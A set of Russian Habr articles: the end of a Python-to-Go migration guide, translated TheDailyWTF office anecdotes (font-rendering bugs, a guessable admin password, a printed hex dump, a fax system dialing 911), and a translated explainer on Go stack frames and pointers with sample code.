**Работа с JSON**
Ну, json.loads() больше нет. В Python все просто: используем json.loads, и нет проблем.
Но в Go, статически типизированном языке, эта операция становится сложнее.
Здесь при использовании JSON все заранее определено. Любое поле, которое не вписывается в заданную структуру, будет игнорироваться, и это хорошо. Об этом можно думать как о заранее согласованном протоколе между двумя сторонами. Данные, которые вы получили в JSON, должны быть ожидаемы, а поля и типы JSON «согласованы» обеими сторонами.
```
{
“first”: “Elad”,
“last”: “Leev”,
“location”:”IL”,
“id”: “93”
}
```
```
type AccountData struct {
First string `json:"first"`
Last string `json:"last"`
Location string `json:"location"`
ID string `json:"id"`
}
```
Конечно, вы можете десериализовать JSON без структур, но по возможности этого следует избегать и учитывать статическую природу языка.
Декодирование JSON на GO лучше всего [объясняется в этом посте](https://eager.io/blog/go-and-json/) или [здесь](https://gobyexample.com/json).
Ленитесь конвертировать ваш JSON в Go-структуру? Нет проблем, [этот инструмент все сделает за вас](https://mholt.github.io/json-to-go/).
**Чистый код**
Компилятор Go будет всегда стараться держать ваш код «в чистоте». Он считает неиспользуемые переменные ошибкой компиляции. В Go используется уникальный подход, позволяющий системе решать большинство проблем форматирования. Так, Go запустит программу gofmt при сохранении или компиляции и самостоятельно поправит форматирование.
Вам нет дела до переменных? Окей! Просто используйте \_ (подчеркивание) и назначьте его пустому идентификатору.
Мастрид-туториалом для этой части работы с языком является информация из “[Effective Go](https://golang.org/doc/effective_go.html)”.
**Поиск подходящей библиотеки и фреймворков**
Я использовал с Python фреймворки и библиотеки вроде Flask, Jinja2, Requests и даже Kazoo, поэтому боялся, что не найду ничего подходящего для Go.
Но комьюнити уже решило эти проблемы: у языка есть собственные уникальные библиотеки, которые позволяют полностью забыть о том, что вы использовали ранее.
Вот мои фавориты.
**Python Requests => net/http**
[net/http](https://golang.org/pkg/net/http/) предоставляет удобную и легкую в использовании реализацию HTTP-клиента и сервера.
**Flask + Jinja2 => Gin**
[Gin](https://github.com/gin-gonic/gin) — веб-фреймворк HTTP с очень простым API: параметрами в пути, загружаемыми файлами, маршрутизацией групп (/ api / v1, / api / v2), пользовательскими форматами журналов, обслуживающими статические файлы, рендерингом HTML и действительно мощным кастомным middleware.
Оцените [этот](https://github.com/gin-gonic/gin/blob/master/BENCHMARKS.md) бенчмарк.
**CLI Creation => Cobra**
[Cobra](https://github.com/spf13/cobra) — библиотека для создания мощных CLI-приложений, а также программа для генерации приложений и командных файлов.
Cobra применяется во многих крупных Go-проектах, включая Kubernetes, etcd и OpenShift.
Вот еще несколько библиотек, которые я настоятельно рекомендую: [Viper](https://github.com/spf13/viper), [Gonfig](https://github.com/tkanos/gonfig) и этот потрясающий список — [Awesome-Go](https://github.com/avelino/awesome-go).
### Другие полезные ресурсы
[1] [Francesc Campoy](https://twitter.com/francesc) — вам определенно нужно оценить эти [YouTube-канал](https://www.youtube.com/channel/UC_BzFbxG2za3bp5NRRRXJSw/) и [GitHub-профиль](https://github.com/campoy).
[2] [GopherCon — видео](https://www.youtube.com/channel/UCx9QVEApa5BKLw9r8cnOFEA/playlists).
[3] [Go Web Examples](https://gowebexamples.com/).
[4] [Golang Weekly](https://twitter.com/golangweekly), [Gopher Academy](https://twitter.com/GopherAcademy), [Golang News](https://twitter.com/golangnews) — Twitter-аккаунты.
### Подводим итоги
Будучи постоянным пользователем Python в течение пяти лет, я боялся, что переход на Go будет болезненным.
Но нет: есть наработки сообщества Go, которое расширяет и дополняет возможности языка, а также различные полезные ресурсы, которые помогут с переходом и вам.
Go быстро развивается, и я надеюсь, что Google сможет сделать его главным языком для написания облачных приложений и инфраструктуры.
Присоединяйтесь!
> **Skillbox рекомендует:**
>
>
>
> * Двухлетний практический курс [«Я — веб-разработчик PRO»](https://iamwebdev.skillbox.ru/?utm_source=skillbox.media&utm_medium=habr.com&utm_campaign=WEBDEVPRO&utm_content=articles&utm_term=frompythontogo).
> * Образовательный онлайн-курс [«Профессия Java-разработчик»](https://skillbox.ru/java/?utm_source=skillbox.media&utm_medium=habr.com&utm_campaign=JAVDEV&utm_content=articles&utm_term=frompythontogo).
> * Практический годовой курс [«PHP-разработчик с 0 до PRO»](https://skillbox.ru/php/?utm_source=skillbox.media&utm_medium=habr.com&utm_campaign=PHPDEV&utm_content=articles&utm_term=frompythontogo).
> | https://habr.com/ru/post/444866/ | null | ru | null |
# Любопытные извращения из мира ИТ — 5
История первая. Роковые буквы
-----------------------------
[[Оригинал](http://thedailywtf.com/articles/drink-from-the-font-of-wisdom)]
Когда-то давно **Джордж** устроился работать в офис Initech. Компания только что арендовала несколько этажей в старом офисном здании, недавно перешедшего из категории «городской упадок» в категорию «элегантные кофейни на первом этаже и запах крема для обуви и свежей кожаной обивки на всех остальных».
Это было обширное пространство, а Джордж находился на том этапе своей карьеры, когда ему полагался отдельный офис с видом на переулок.
Его первой задачей стало устранение проблемы в Mac-версии программного обеспечения компании. В Windows она выглядела идеально, но на OSX появлялись баги рендеринга шрифтов. Подобный баг трудно найти, но Джордж, вероятно, был в прошлой жизни детективом, поэтому оказался готов к этому испытанию.
Самой важной зацепкой стала история контроля версий. За последние три года над продуктом работали пять разработчиков. Похоже, что каждый из них находился в компании примерно по четыре месяца, а потом уходил. Долгие месяцы шли без всяких изменений, затем приходил новый разработчик и цикл повторялся заново. Как выяснил Джордж, их имена всплывали постоянно, когда он пытался разобраться в функциях, работе и причинах багов продукта.
Так как приложение было кросс-платформенным, разработчики реализовали собственный загрузчик и рендерер шрифтов. По крайней мере, так ему показалось. Внутренняя структура шрифтов — это опасная и запутанная штука, и это отразилось в коде. В нём также отразилось то, что над ним поочерёдно занимались разные программисты, не сохранявшие его целостность. *Это был хаос*.
В коде Джордж увидел кучу аспектов, которые без всяких сомнений были плохими — незащищённые вызовы `memcpy`, `malloc` без `free`, арифметика указателей, работавшая больше на доверии, чем логике. Но, судя по всему, ничто из этого не было источником проблемы со шрифтами.
Разочарованный Джордж решил подойти к ней с другой стороны. На экранах с багами рендеринга всегда были один или два специализированных шрифта. Джордж загрузил шрифты в утилиты проверки шрифтов Adobe и Microsoft, и увидел отчёты о целой куче ошибок.
Код загрузки шрифтов был плох, но сами шрифты оказались ещё хуже. Выявив проблему, Джордж сообщил начальнику, что нужно исправлять шрифты. Начальник передал это президенту компании.
На следующий день начальник подошёл к Джорджу: «Президент хочет с тобой встретиться, *срочно*».
Офис президента больше походил на конференц-зал, но без стола для переговоров. Длинная комната, с одной стороны стол, окна высотой во всю стену и вид на реку. Рассерженный президент сидел за своим столом.
«Что не так с вами двоими? Джордж, ты здесь меньше четырёх месяцев, и уже транжиришь моё время — ты транжиришь мои *деньги* на какую-то бредовую идею о проблеме в *шрифтах*?»
«Но так и есть. Я могу *показать*».
«В версии для Windows шрифт работает отлично! Проблема должна быть в коде, чёрт возьми. Я знаю, сколько тебе платят. Может, мне стоит взять калькулятор и подсчитать, сколько стоила компании эта охота за призраками?» Он стукнул кулаком по столу так, что калькулятор рядом с клавиатурой немного подпрыгнул.
Обвинения продолжились, но Джордж уже знал, что будет делать после совещания. К концу дня он вернул своей бейдж и рабочий ноутбук вместе с грубоватым и честным заявлением об уходе.
После короткого неоплачиваемого отпуска Джордж устроился на другую работу. Шли годы, и он уже начал забывать о времени, проведённом в Initech. Но однажды он увидел сообщение о выпуске критического патча уязвимости Microsoft Windows. Как оказалось, «код обработки шрифтов сторонних компаний» мог вызывать произвольное выполнение кода в некоторых библиотеках Windows. Проведя небольшое исследование, Джордж подтвердил свою догадку: именно код Initech вызывал проблему. Более того, последний двоичный файл Initech был выпущен ещё в 2008 году — *спустя месяц* после его ухода из компании.
История вторая. Работа по процессу, а также под и над ним
---------------------------------------------------------
[[Оригинал](http://thedailywtf.com/articles/classic-wtf-working-around-over-and-through-the-process)]
Когда **Кевин** получил в конце 1980-х работу в Townbank, он попал в ту же ситуацию, что и тысячи других новоиспечённых программистов до и после него: корпоративный программист не просто пишет код — ему нужно придерживаться процесса.
Процесс отличается от строгих заповедей мировых религий только тем, что его задача — сохранять целостность кода. Слава процессу, да будь он благословлён, процесс — это хорошо, всегда нужно соответствовать процессу, и, что самое важное — процесс полезен для тебя!
Для большинства разработчиков процесс не так уж плох. К нему просто нужно привыкнуть. Заполни форму, получи согласование, зарегистрируй план тестирования, напиши документацию сборки — всё это в порядке вещей. Однако, как вскоре выяснил Кевин, в Townbank существовали процессы, к которым не могли приспособиться ни ветераны, ни новички.
### Фактор Шивы
Первым заданием Кевина стала работа в группе, занимавшейся крупнейшим на то время проектом отдела ИТ Townbank — масштабной миграцией с постепенно устаревающего мейнфрейма на несколько новеньких систем VAX. В теории процесс выглядел неплохо — консультанты провели встречи с клиентом и выяснили, какие системы будут переноситься, нужно было написать спецификации, назначить задачи разработчикам, отдел контроля качества должен был подтвердить, что новая система работает как старая, после чего код был бы выведен в продакшен.
Когда проект-менеджеры разрабатывали процесс, ожидалось, что непредусмотренные действия всегда будут занимать только малую долю общих затрат или количества времени, необходимых для реализации функции, и поначалу так и было. Однако проект продолжал развиваться, и чем больше сред вводились в работу, тем больше Кевину и его коллегам-разработчикам приходилось добавлять лишнего времени к своим оценкам. Официально разработчики называли это по-разному — тестированием интеграции систем, конфигурированием серверов, тестированием совместимости сред, но между собой они прозвали такие проволочки их истинным именем: «фактором Шивы».
### Серьёзный бизнес!
Не то чтобы Шива был некомпетентным или неопытным системным администратором – ни в коем случае. На самом деле, когда в Townbank было принято решение о миграции с мейнфрейма на VAX, имя Шивы было в начале очень короткого списка людей, способных справиться с такой инфраструктурной миграцией. Шива взялся за дело со всей ответственностью, введя собственные политики, способные помочь в устранении изъянов процесса. Например, каждое утро все разработчики, аналитики или сотрудники отдела контроля, прежде чем войти в среду, должны были в буквальном смысле расписаться на доске в офисе Шивы, чтобы подтвердить своё физическое присутствие. Кроме того, чувствуя, что отслеживание действий разработчика реализовано с недостаточной степенью детализации, он ввёл защиту контроля версий: для каждого изменения кода и переноса между средами требовалась служебная записка. А все изменения должны были вноситься по его идентификатору пользователя. И с его терминала.
В спокойный день небольшое изменение можно было внести всего за один день, но спокойные дни часто приходились на праздники или выходные. Раздражённые разработчики обращались с жалобами к высшему руководству, утверждая, что эти политики замедляют проект и кажутся абсолютно бесполезными. В ответ руководство пожимало плечами — Шива изложил свои цели в самом начале проекта — безопасные среды, защищённые от перекрёстного загрязнения другим кодом и от некомпетентности разработчиков. В конце концов, серверы VAX по-прежнему были новинкой, и даже многие из сениор-разработчиков ещё не полностью их освоили.
Массы роптали и проклинали судьбу, но вместо того, чтобы восстать, свергнуть Шиву и покончить с его жестоким правлением, все смирились и продолжили работу. Несмотря на помехи и усилия Шивы процесс продолжался, однако была одна ситуация, которой Шива, похоже, пренебрёг — что если он сам окажется недоступен?
### Маленький помощник программиста
Хотя терминал Кевина показывал, что он работал в клоне среды продакшена, имена клиентов «Nosmo King» и «Joe Blow» дали ему понять, что он совершил грубый недочёт — приложение ошибочно подключалось к базе данных среды разработки, а после обеда его должен был тестировать отдел контроля качества. В обычной ситуации исправить ошибку было бы проще простого — внести изменения в файл конфигурации в среде разработки и возобновить работу, но судьбе было угодно, чтобы Шива оказался на длительном совещании и должен был появиться только на следующий день.
Надеясь, что Шива мог вернуться раньше, Кевин подошёл к его столу, но увидел только пустой стул. Однако его внимание привлекла клавиатура Шивы. Буквы A, S, V, H и I были стёрты больше остальных. Кевин знал, что Шива опьянён властью, но неужели он настолько нарциссичен, что готов печатать своё имя снова и снова? …А может быть, это подсказка? Ради забавы Кевин перешёл в командную строку и ввёл «shiva» в качестве имени пользователя и пароля. Ожидая, что Шива может в любой момент войти в кабинет, Кевин нажал на «Ввод» и был потрясён тем, что ему удалось выполнить вход.
Это было удивительно. Это было великолепно. Кевин знал, что ему нужно поделиться с кем-то своим открытием. Он рассказал об этом одному из ветеранов, который раньше был его наставником, но его реакция оказалась для Кевина неожиданностью.
Оказалось, что комбинация имени пользователя и пароля Шивы была любимым «секретом» Townbank, который был известен ещё со времён, когда Шива работал администратором мейнфрейма.
«Чтобы Шива не узнал, — объяснил Кевину другой, ещё более опытный разработчик, — мы играем в эту игру при каждом новом его повышении».
«Кстати, на будущее, — продолжил он, — если не хочешь, чтобы тебя поймали и испортили жизнь всем остальным, то стоит входить со своего терминала, а НЕ из его кабинета».
История третья. Говори со мной на греческом
-------------------------------------------
[[Оригинал](http://thedailywtf.com/articles/greek-to-me)]
Много десятков лет назад, ещё до появления лазерных принтеров, графических операционных систем и устройство-независимых форматов изображений, **Гас** работал в отделе ИТ местного колледжа. В качестве личного проекта на моменты простоя в работе он решил разобраться, как печатать текст на греческом. Примерно неделю спустя он собрал программу, способную выводить на принтер классический текст на греческом.
Начальник Гаса работал менеджером в ИТ, но, несмотря на это, оказался специалистом по античной филологии. Ему никогда не приходилось видеть греческий текст, печатаемый на обычном принтере, и он был в восторге. Начальник рассказал об этом своим друзьям, те рассказали своим, и так далее. Вскоре мир исследователей классической Греции превратился в восторженный и шумный симпозиум.
Однажды Гас получил электронное письмо от неизвестного ему профессора из колледжа в Аризоне. Он услышал от начальника Гаса о чудесной, мифической программе. Можно ли и ему получить её?
Гас с радостью бы согласился, но возникла проблема. Его программа предназначалась для предыдущей версии операционной системы VAX/VMS и компилятора Pascal, а выводила текст она на один конкретный принтер VERSAMOD-200, который можно было перевести в матричный режим, *и* в конкретный драйвер печати, который был аккуратно пропатчен двоичным кодом, чтобы не портить матричные изображения. Гас сомневался, что профессор обладает достаточными техническими знаниями, чтобы оценить его объяснение, поэтому ответил вежливо и не вдаваясь в технические подробности: простите, но программа просто не будет работать ни на какой другой машине.
Неделю спустя к его столу подошёл начальник, упомянул его друга из Аризоны и мягко спросил Гаса, не сможет ли он найти какой-нибудь способ всё-таки переслать ему программу. Попытки Гаса объяснить невозможность запуска кода на любом другом компьютере в мире не были услышаны.
«Ты же гений, Гас! Я уверен, ты что-нибудь придумаешь. Заранее спасибо!», — удовлетворённый собственным оптимизмом, начальник ушёл.
Гас начал думать, как же он сможет выполнить, или хотя бы наполовину выполнить просьбу босса. Наконец, у него появилась идея. Он ввёл в командную строку своего компьютера: `DUMP /HEX "PRINTGREEK.EXE" /LIST=VERSAMOD-200`.
Вскоре [шестнадцатеричный дамп](https://en.wikipedia.org/wiki/Hex_dump) его программы принял осязаемый бумажный вид. Гас с улыбкой собрал распечатку и зашёл в офис начальника. «Вот и она! Это программа, как вы и просили».
«О!», — начальник казался удивлённым, но понимающим.
«Если у них возникнут какие-нибудь проблемы с установкой, то пусть свяжутся со мной и я помогу», — сказал Гас.
«Отлично! Большое спасибо!», — начальник бросил взгляд на стол, ища подходящий почтовый конверт.
Чуть позже ещё одному из наших уважаемых коллег-айтишников в Аризоне передали и поручили установить этот распечатанный на бумаге дамп. Он, должно быть, испытал достаточно шокирующий момент «WTF», но, очевидно, успешно справился с задачей. По крайней мере, с того времени прошло уже тридцать лет, а Гас так и не услышал никаких вопросов от профессора или других сотрудников колледжа. Возможно, кто-то просто заключил сделку с Аидом или попросил Кроноса перенести его в то время, когда печать специальных символов перестала быть таким сизифовым трудом.
История четвёртая. Аварийные факсы
----------------------------------
[[Оригинал](http://thedailywtf.com/articles/classic-wtf-emergency-faxes)]
На текущем этапе развития технологий факсы устарели. Они были придуманы [на десяток с лишним лет](http://en.wikipedia.org/wiki/Fax#History) раньше телефона, но, несмотря на огромный прогресс в технологиях сканирования и электронной почты, до сих пор остаются стандартной формой коммуникаций.
При передаче данных случайные «заикания» или шум на линии могут испортить факс. У большинства современных факсимильных машин существуют рудиментарные функции обработки ошибок, предупреждающие пользователя, что факс необходимо отправить заново.
Этот способ работы с ошибками действовал настолько хорошо, что никому не приходило в голову менять его. Но у одного бизнес-аналитика из компании, в которой работал **Том**, появилась светлая идея.
«Что если пользователь не сидит рядом с факсом в ожидании сообщения?», — задумался он. «Что если факс-машина отправителя не обнаружит проблему? Мы должны отправлять ему по факсу отчёт об ошибках!»
Хотя беспокойство аналитика было обоснованным, Том и его группа возражали, что отправка сообщения о сбойном факсе необязательно упростит всем жизнь.
Они говорили, что из-за этого машина отправителя окажется занятой и он не сможет переслать заново исходный факс.
«Это нормально, — ответил аналитик, — наше ПО может отправлять и получать факсы параллельно. Эта идея — *лучшее, что появилось после iPod*! Она ***абсолютно надёжна***!»
Но споры были бессмысленны: в глазах руководства бизнес-аналитики всегда правы, и эту функцию в срочном порядке реализовали. Программу назвали «FaxBack», и она выполняла соответствующую названию функцию: передавала сбойную передачу обратно отправителю (определённому по Caller ID) через короткий промежуток времени после возникновения сбоя.
Долгое время всё работало без малейших проблем, пока однажды возле офиса Тома не остановились два полицейских автомобиля со включенными сиренами. Полицейские сказали, что они ответили на экстренный вызов по 911, но никакой чрезвычайной ситуации не было и никто не признавался, что набрал 911.
Вскоре офицеры уехали, но рано утром следующего дня к офису стремительно подъехали два других полицейских автомобиля. Никакого ЧС снова не было и никто не звонил по 911, поэтому они спокойно покинули офис.
Но на третий раз, когда машина появилась во второй половине следующего дня, офицеры отказались уезжать, пока не будет найден источник «беспокойства». В полицейском отделении были уверены, что вызов поступал с номера компании, и требовали разобраться, что происходит.
Потратив остаток дня и часть вечера на отслеживание телефонных звонков внутри компании, Том выяснил, что вызовы на номер 911 идут из дата-центра, а конкретнее от FaxBack.
Факсимильные машины как и офисные телефоны, для выхода на внешнюю линию должны были набирать «9». Поэтому когда FaxBack отвечал на сбойный факс из Нью-Дели, набирая девятку за ней следовал международный код Индии — 11, и срабатывало «особое правило» телекоммуникационной системы.
Тому, кто устанавливал телекоммуникационную систему, пришла в голову светлая идея обрабатывать «911» как особый случай, потому что звонящий мог и не додуматься в случае чрезвычайной ситуации сначала набрать ещё одну девятку. Особое правило применялось и к линиям в пуле факсов, даже если вызывающий был всего лишь компьютером. | https://habr.com/ru/post/460531/ | null | ru | null |
# Языковая механика стеков и указателей
Прелюдия
--------
Это первая из четырех статей в серии, которая даст представление о механике и дизайне указателей, стеков, куч, escape analysis и семантики значения/указателя в Go. Этот пост посвящен стекам и указателям.
Оглавление цикла статей:
1. [Language Mechanics On Stacks And Pointers](https://www.goinggo.net/2017/05/language-mechanics-on-stacks-and-pointers.html)
2. [Language Mechanics On Escape Analysis](https://www.goinggo.net/2017/05/language-mechanics-on-escape-analysis.html) ([перевод](https://habr.com/ru/post/497994/))
3. [Language Mechanics On Memory Profiling](https://www.goinggo.net/2017/06/language-mechanics-on-memory-profiling.html) ([перевод](https://habr.com/ru/post/511176/))
4. [Design Philosophy On Data And Semantics](https://www.goinggo.net/2017/06/design-philosophy-on-data-and-semantics.html)
Вступление
----------
Не буду лукавить — указатели трудны в понимании. При неправильном использовании указатели могут вызвать неприятные ошибки и даже проблемы с производительностью. Это особенно верно при написании конкурентных или многопоточных программ. Неудивительно, что многие языки пытаются скрыть указатели от программистов. Однако, если вы пишете на Go, вы не сможете избежать указателей. Без четкого понимания указателей вам будет сложно писать чистый, простой и эффективный код.
Границы фреймов
---------------
Функции выполняются в пределах границ фреймов, которые предоставляют отдельное пространство памяти для каждой соответствующей функции. Каждый фрейм позволяет функции работать в своем собственном контексте, а также обеспечивает управление потоком. Функция имеет прямой доступ к памяти внутри своего фрейма через указатель, но доступ к памяти вне фрейма требует косвенного доступа. Чтобы функция обращалась к памяти за пределами своего фрейма, эта память должна использоваться совместно с этой функцией. Механику и ограничения, установленные этими границами, необходимо понять и изучить в первую очередь.
Когда вызывается функция, происходит переход между двумя фреймами. Код переходит из фрейма вызывающей функции во фрейм вызываемой функции. Если данные необходимы для вызова функции, то эти данные должны быть перенесены из одного фрейма в другой. Передача данных между двумя фреймами в Go выполняется «по значению».
Преимущество передачи данных «по значению» заключается в удобочитаемости. Значение, которое вы видите в вызове функции — это то, что копируется и принимается на другой стороне. Вот почему я связываю «передачу по значению» с WYSIWYG, потому что то, что вы видите, это то, что вы получаете. Все это позволяет вам писать код, который не скрывает стоимость перехода между двумя функциями. Это помогает поддерживать хорошую ментальную модель того, как каждый вызов функции будет влиять на программу при переходе.
Посмотрите на эту небольшую программу, которая выполняет вызов функции, передавая целочисленные данные «по значению»:
Листинг 1:
```
01 package main
02
03 func main() {
04
05 // Declare variable of type int with a value of 10.
06 count := 10
07
08 // Display the "value of" and "address of" count.
09 println("count:\tValue Of[", count, "]\tAddr Of[", &count, "]")
10
11 // Pass the "value of" the count.
12 increment(count)
13
14 println("count:\tValue Of[", count, "]\tAddr Of[", &count, "]")
15 }
16
17 //go:noinline
18 func increment(inc int) {
19
20 // Increment the "value of" inc.
21 inc++
22 println("inc:\tValue Of[", inc, "]\tAddr Of[", &inc, "]")
23 }
```
Когда ваша программа, написанная на Go, запускается, среда выполнения создает главную горутину, чтобы начать выполнение всего кода, включая код внутри функции main. Горутина — это путь выполнения, который помещается в поток операционной системы, который в конечном итоге выполняется на каком-то ядре. Начиная с версии 1.8, каждой горутине предоставляется начальный блок непрерывной памяти размером 2048 байт, который формирует пространство стека. Этот начальный размер стека менялся с годами и может измениться в будущем.
Стек важен, потому что он обеспечивает пространство физической памяти для границ фрейма, которые даны каждой отдельной функции. К тому времени, когда главная горутина выполняет функцию main в листинге 1, стек программы (на очень высоком уровне) будет выглядеть следующим образом:
Рисунок 1:
На рисунке 1 вы можете увидеть, что часть стека была «обрамлена» для основной функции. Этот раздел называется «[стековым фреймом](https://ru.wikipedia.org/wiki/%D0%A1%D1%82%D0%B5%D0%BA%D0%BE%D0%B2%D1%8B%D0%B9_%D0%BA%D0%B0%D0%B4%D1%80)», и именно этот фрейм обозначает границу основной функции в стеке. Фрейм устанавливается как часть кода, которая выполняется при вызове функции. Вы также можете увидеть, что память для переменной count была размещена по адресу 0x10429fa4 внутри фрейма для main.
Есть еще один интересный момент, проиллюстрированный на рисунке 1. Вся память стека под активным фреймом недействительна, но память из активного фрейма и выше действительна. Нужно четко понимать границу между действительной и недействительной частью стека.
Адреса
------
Переменные служат для назначения имени определенной ячейке памяти, чтобы улучшить читаемость кода и помочь вам понять с какими данными вы работаете. Если у вас есть переменная, значит у вас есть значение в памяти, а если у вас есть значение в памяти, то у нее должен быть адрес. В строке 09 функция main вызывает встроенную функцию println для отображения «значения» и «адреса» переменной count.
Листинг 2:
```
09 println("count:\tValue Of[", count, "]\tAddr Of[", &count, "]")
```
Использование амперсанда “&” для получения адреса расположения переменной не является чем-то новым, другие языки также используют этот оператор. Вывод строки 09 должен быть похож на вывод ниже, если вы запускаете код на 32-битной архитектуре, такой как Go Playground:
Листинг 3:
```
count: Value Of[ 10 ] Addr Of[ 0x10429fa4 ]
```
Вызов Функций
-------------
Далее в строке 12 функция main вызывает функцию increment.
Листинг 4:
```
12 increment(count)
```
Выполнение вызова функции означает, что программа должна создать новый раздел памяти в стеке. Однако все немного сложнее. Для успешного выполнения вызова функции ожидается, что данные будут переданы через границу фрейма и помещены в новый фрейм во время перехода. В частности, ожидается целочисленное значение, которое будет скопировано и передано во время вызова. Вы можете увидеть это требование посмотрев на объявление функции increment в строке 18.
Листинг 5:
```
18 func increment(inc int) {
```
Если вы снова посмотрите на вызов функции increment в строке 12, вы увидите, что код передает «значение» переменной count. Это значение будет скопировано, передано и помещено в новый фрейм для функции increment. Помните, что функция increment может только непосредственно читать и записывать в память в своем собственном фрейме, поэтому ей нужна переменная inc для получения, хранения и доступа к своей собственной копии передаваемого значения счетчика.
Непосредственно перед тем, как код внутри функции increment начнет выполняться, стек программы (на очень высоком уровне) будет выглядеть так:
Рисунок 2:
Вы можете увидеть, что в стеке теперь есть два фрейма — один для main и ниже один для increment. Внутри фрейма для increment видно переменную inc, содержащую значение 10, которое было скопировано и передано во время вызова функции. Адрес переменной inc равен 0x10429f98, и он меньше в памяти, потому что фреймы заносятся в стек, что является лишь деталями реализации, которые ничего не значат. Важно то, что программа извлекла значение count из фрейма для main и поместила копию этого значения во фрейм для увеличения с помощью переменной inc.
Остальная часть кода внутри increment увеличивает и отображает «значение» и «адрес» переменной inc.
Листинг 6:
```
21 inc++
22 println("inc:\tValue Of[", inc, "]\tAddr Of[", &inc, "]")
```
Вывод строки 22 в playground должен выглядеть примерно так:
Листинг 7:
```
inc: Value Of[ 11 ] Addr Of[ 0x10429f98 ]
```
Вот как выглядит стек после выполнения тех же строк кода:
Рисунок 3:
После выполнения строк 21 и 22 функция increment завершается и возвращает управление main функции. Затем main функция снова отображает «значение» и «адрес» локальной переменной count в строке 14.
Листинг 8:
```
14 println("count:\tValue Of[",count, "]\tAddr Of[", &count, "]")
```
Полный вывод программы в playground должен выглядеть примерно так:
Листинг 9:
```
count: Value Of[ 10 ] Addr Of[ 0x10429fa4 ]
inc: Value Of[ 11 ] Addr Of[ 0x10429f98 ]
count: Value Of[ 10 ] Addr Of[ 0x10429fa4 ]
```
Значение count во фрейме для main одинаково до и после вызова increment.
Возврат из функций
------------------
Что на самом деле происходит с памятью в стеке, когда функция завершается и управление возвращается к вызывающей функции? Краткий ответ — ничего. Вот как выглядит стек после возврата функции increment:
Рисунок 4:
Стек выглядит точно так же, как на рисунке 3, за исключением того, что фрейм, связанный с функцией increment, теперь считается недействительной памятью. Это потому, что фрейм для main теперь является активным. Память, созданная для функции increment, осталась нетронутой.
Очистка памяти фрейма возвращаемой функции будет пустой тратой времени, потому что неизвестно понадобится ли эта память когда-либо снова. Так что память осталась такой, какая она и была. Во время каждого вызова функции, когда берется фрейм, память стека для этого фрейма очищается. Это делается путем инициализации любых значений, которые помещаются во фрейм. Поскольку все значения инициализируются как их «нулевое значение», стеки правильно очищаются при каждом вызове функции.
Совместное использование значений
---------------------------------
Что, если бы было важно, чтобы функция increment работала непосредственно с переменной count, которая существует внутри фрейма для main? Именно здесь наступает время для указателей. Указатели служат одной цели — разделять значение с функцией, чтобы функция могла читать и записывать это значение, даже если значение не существует непосредственно внутри своего фрейма.
Если вам не кажется, что нужно «поделиться» значением, то вам и не нужно использовать указатель. При изучении указателей важно думать, что используя чистый словарь, а не операторы или синтаксис. Помните, что указатели предназначены для совместного использования и при чтении кода заменяют оператор & на словосочетание «общий доступ».
Типы указателей
---------------
Для каждого типа, который вы объявили, или который был объявлен непосредственно самим языком, вы получаете бесплатный тип указателя, который вы можете использовать для совместного использования. Уже существует встроенный тип с именем int, поэтому существует тип указателя с именем \*int. Если вы объявите тип с именем User, вы получите бесплатно тип указателя с именем \*User.
Все типы указателей имеют две одинаковые характеристики. Во первых они начинаются с символа \*. Во-вторых, все они имеют одинаковый размер в памяти и представление, занимающее 4 или 8 байт, которые представляют адрес. На 32-битных архитектурах (например, в playground) указателям требуется 4 байта памяти, а на 64-битных архитектурах (например, вашем компьютере) они требуют 8 байт памяти.
В спецификации [типы указателей](https://golang.org/ref/spec#PointerType) считаются [литералами типов](https://golang.org/ref/spec#Types), что означает, что они являются безымянными типами, составленными из существующего типа.
Косвенный доступ к памяти
-------------------------
Посмотрите на эту небольшую программу, которая выполняет вызов функции, передавая адрес «по значению». Это разделит переменную count из стека фрейма main с функцией increment:
Листинг 10:
```
01 package main
02
03 func main() {
04
05 // Declare variable of type int with a value of 10.
06 count := 10
07
08 // Display the "value of" and "address of" count.
09 println("count:\tValue Of[", count, "]\t\tAddr Of[", &count, "]")
10
11 // Pass the "address of" count.
12 increment(&count)
13
14 println("count:\tValue Of[", count, "]\t\tAddr Of[", &count, "]")
15 }
16
17 //go:noinline
18 func increment(inc *int) {
19
20 // Increment the "value of" count that the "pointer points to". (dereferencing)
21 *inc++
22 println("inc:\tValue Of[", inc, "]\tAddr Of[", &inc, "]\tValue Points To[", *inc, "]")
23 }
```
В оригинальную программу были внесены три интересных изменения. Первое изменение находится в строке 12:
Листинг 11:
```
12 increment(&count)
```
На этот раз в строке 12 код не копирует и передает «значение» переменной count, а передает вместо переменной count ее «адрес». Теперь вы можете сказать: «Я делю» переменную count с функцией increment. Это то, о чем говорит оператор & — «делиться».
Поймите, что это все еще «передача по значению», а единственная разница в том, что передаваемое вами значение — это адрес, а не целое число. Адреса тоже значения; это то, что копируется и передается через границу фрейма для вызова функции.
Поскольку значение адреса копируется и передается, вам нужна переменная внутри фрейма increment, чтобы получить и сохранить этот целочисленный адрес. Объявление переменной целочисленного указателя находится в строке 18.
Листинг 12:
```
18 func increment(inc *int) {
```
Если бы вы передавали адрес значения типа User, тогда переменную нужно было бы объявить как \*User. Несмотря на то, что все переменные-указатели хранят значения адресов, им нельзя передавать любой адрес, только адреса, связанные с типом указателя. Основной принцип совместного использования значения заключается в том, что принимающая функция должна выполнить чтение или запись в это значение. Вам нужна информация о типе любого значения для чтения и записи в него. Компилятор позаботится о том, чтобы с этой функцией использовались только значения, связанные с правильным типом указателя.
Вот как выглядит стек после вызова функции increment:
Рисунок 5:
На рисунке 5 показано, как выглядит стек, когда «передача по значению» выполняется с использованием адреса в качестве значения. Переменная-указатель внутри фрейма для функции increment теперь указывает на переменную count, которая расположена внутри фрейма для main.
Теперь, используя переменную-указатель, функция может выполнить косвенную операцию чтения и изменения для переменной count, расположенной внутри фрейма для main.
Листинг 13:
```
21 *inc++
```
На этот раз символ \* действует как оператор и применяется к переменной-указателю. Использование \* в качестве оператора означает «значение, на которое указывает указатель». Переменная указателя обеспечивает косвенный доступ к памяти за пределами фрейма функции, которая ее использует. Иногда это косвенное чтение или запись называется разыменованием указателя. Функция increment по-прежнему должна иметь переменную-указатель в своем фрейме, которую она может непосредственно прочитать для выполнения косвенного доступа.
На рисунке 6 показано, как выглядит стек после выполнения строки 21.
Рисунок 6:
Вот конечный вывод результата этой программы:
Листинг 14:
```
count: Value Of[ 10 ] Addr Of[ 0x10429fa4 ]
inc: Value Of[ 0x10429fa4 ] Addr Of[ 0x10429f98 ] Value Points To[ 11 ]
count: Value Of[ 11 ] Addr Of[ 0x10429fa4 ]
```
